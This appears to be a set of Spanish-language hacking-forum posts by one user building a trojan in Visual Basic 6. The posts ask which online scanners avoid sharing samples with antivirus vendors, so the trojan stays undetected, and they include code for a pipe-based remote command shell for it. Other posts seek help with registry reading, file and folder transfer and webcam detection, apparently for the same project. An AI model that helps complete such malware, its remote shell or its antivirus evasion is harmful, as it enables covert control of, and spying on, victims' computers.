Estaba viendo la deteccion de mi troyano y pense en subirlo a una pagina escaneadora, pero despues de mirar algunas como VirusTotal o VirScan lei en sus politicas que le pasarian los informes a las compañias antivirus para que puedan introducir el virus en su base de datos. El problema esque estuve mirando alguna pagina mas en la que no encontre si les pasan los informes o no pero no me quiero arriesgar y por internet no encuentro informacion al respecto. Si alguien sabe que paginas no pasan los informes se lo agradeceria mucho.

Bueno para mi troyano queria elaborar una buena shell remota con pipes, como no tenia mucha idea me puse a investigar y ayudandome de una shell que encontre purulando por la web he elaborado este codigo pero nose porque me da error, si alguien me puede ayudar se lo agradeceria. El error lo da la api CreateProcessA.

Public Function CMD(Comando As String) As String
On Error GoTo Error_cmd
 
Dim hReadPipe       As Long
Dim hWritePipe      As Long
Dim SecAtt          As SECURITY_ATTRIBUTES
Dim ProcInfo        As PROCESS_INFORMATION
Dim StUpInfo        As STARTUPINFO
Dim Ret             As Long
Dim Buffer          As String * 256
Dim BytesRead       As Long
 
 
SecAtt.nLength = Len(SecAtt)
SecAtt.bInheritHandle = 1&
SecAtt.lpSecurityDescriptor = 0&
 
If CreatePipe(hReadPipe, hWritePipe, SecAtt, 0) = 0 Then
    CMD = "Error: " & Err.LastDllError
    Exit Function
End If
 
StUpInfo.cb = Len(StUpInfo)
StUpInfo.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
StUpInfo.hStdOutput = hWritePipe
StUpInfo.hStdError = hWritePipe
Comando = Environ("COMSPEC") & " /c " & Comando
 
If CreateProcessA(vbNullString, Comando, SecAtt, SecAtt, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, StUpInfo, ProcInfo) = 0 Then
    CMD = "Error: " & Err.LastDllError
    Exit Function
End If
 
CloseHandle (hWritePipe)
CMD = ""
 
Do
    Ret = ReadFile(hReadPipe, Buffer, 256, BytesRead, 0&)
    CMD = CMD & Left$(Buffer, BytesRead)
Loop While Ret <> 0
 
CloseHandle (ProcInfo.hThread)
CloseHandle (ProcInfo.hProcess)
CloseHandle (hWritePipe)
Exit Function
 
Error_cmd:
CMD = "Error: " & Err.Description
End Function

Buenas de nuevo, me ha surgido una duda mientras estaba con un proyecto, es posible poner una imagen en un subitem de un listview? he buscado sobre ello pero no encuentro nada, si alguien a conseguido hacer esto le agradeceria su ayuda, y si no se puede tambien me gustaria saberlo para no comerme mas el coco xD

salu2!      Noele

Hola pues hace unos dias hice un modulo para un proyecto en el que precisaba de el envio de archivos, y lo queria compartir para que la gente lo viese, se que esta muy hablada la transferencia de archivos, pero lo queria subir porque este modulo tambien da un ejemplo de la transferencia de carpetas, que cuando en su momento busque informacion acerca de esto apenas salio algun resultado, asique aqui lo dejo, ante cualquier fallo porfavor decirmelo!!

http://www.mediafire.com/?2045303add0r438

Salu2, Noele1995

Hola en el proyecto actual que estoy haciendo estoy con el registro de windows, tengo algun que otro problemilla al leer los valores, cuando los valores son DWORD, no consigo leer su valor, les pongo el codigo:

Public Function ValueData(Key As Long, strValueName As String, sType As Long) As String
Dim lResult As Long, RetornoData As Long, strData As String, lngData As Currency, binData() As Byte, sTmp As String
Dim i As Integer
Select Case sType
    Case REG_NONE
        ValueData = vbNullString
 
    Case REG_SZ, REG_EXPAND_SZ, REG_LINK
        lResult = RegQueryValueEx(Key, strValueName, 0, ByVal 0, ByVal 0, RetornoData)
 
        If lResult = 0 Then
            strData = String(RetornoData, Chr$(0))
            lResult = RegQueryValueEx(Key, strValueName, 0, ByVal 0, ByVal strData, RetornoData)
 
            If lResult = 0 Then
                ValueData = Left$(strData, InStr(1, strData, Chr$(0)) - 1)
            End If
        End If
 
    Case REG_MULTI_SZ
        lResult = RegQueryValueEx(Key, strValueName, 0, ByVal 0, ByVal 0, RetornoData)
 
        If lResult = 0 Then
            strData = String(RetornoData, Chr$(0))
            lResult = RegQueryValueEx(Key, strValueName, 0, ByVal 0, ByVal strData, RetornoData)
 
            If lResult = 0 Then
                For i = Len(strData) To 1 Step -1
                    If Mid$(strData, i, 1) = Chr$(0) Then
                    strData = Left$(strData, i - 1)
                    Exit For
                End If
                Next
                For i = 1 To Len(strData)
                    If Mid$(strData, i, 1) = Chr$(0) Then
                    Mid$(strData, i, 1) = " "
                    End If
                Next
 
                ValueData = Left$(strData, InStr(1, strData, Chr$(0)) - 1)
            End If
        End If
        For i = Len(strData) To 1 Step -1
            If Mid$(strData, i, 1) = Chr$(0) Then
                strData = Left$(strData, i - 1)
                Exit For
            End If
        Next
        For i = 1 To Len(strData)
            If Mid$(strData, i, 1) = Chr$(0) Then
                Mid$(strData, i, 1) = " "
            End If
        Next
 
    Case REG_BINARY
        lResult = RegQueryValueEx(Key, strValueName, 0, ByVal 0, ByVal 0, RetornoData)
        If lResult = 0 Then
            ReDim binData(RetornoData)
            lResult = RegQueryValueEx(Key, strValueName, 0, ByVal 0, binData(0), RetornoData)
 
            If lResult = 0 Then
                For i = 0 To UBound(binData) - 1
                    sTmp = sTmp & Right$("00" & Hex$(binData(i)), 2) & " "
                Next
                ValueData = sTmp
            End If
        End If
 
    Case REG_DWORD, REG_DWORD_BIG_ENDIAN
        lResult = RegQueryValueEx(Key, strValueName, 0, ByVal 0, lngData, RetornoData)
        If lResult = 0 Then
            ValueData = "0x" & Right$("00000000" & Hex$(lngData), 8) & " (" & lngData & ")"
        End If
    Case Else
        lResult = RegQueryValueEx(Key, strValueName, 0, ByVal 0, ByVal 0, RetornoData)
        If lResult = 0 Then
            strData = String(RetornoData, Chr$(0))
            lResult = RegQueryValueEx(Key, strValueName, 0, ByVal 0, ByVal strData, RetornoData)
 
            If lResult = 0 Then
                ValueData = Left$(strData, InStr(1, strData, Chr$(0)) - 1)
            End If
        End If
End Select
End Function

A la funcion se la llama con la clave ya abierta, si pueden ayudarme se lo agradeceria.

PD: ¿Como hacen para que el codigo salga con colores? Es menos lioso xD

Me preguntaba si alguien podria ayudarme con el codigo para detectar si hay una webcam disponible en la pc. He probado con varias cosas pero me han terminado de ir bien y googleando tampoco he encontrado cosas que funcionen correctamente.

Gracias de antemano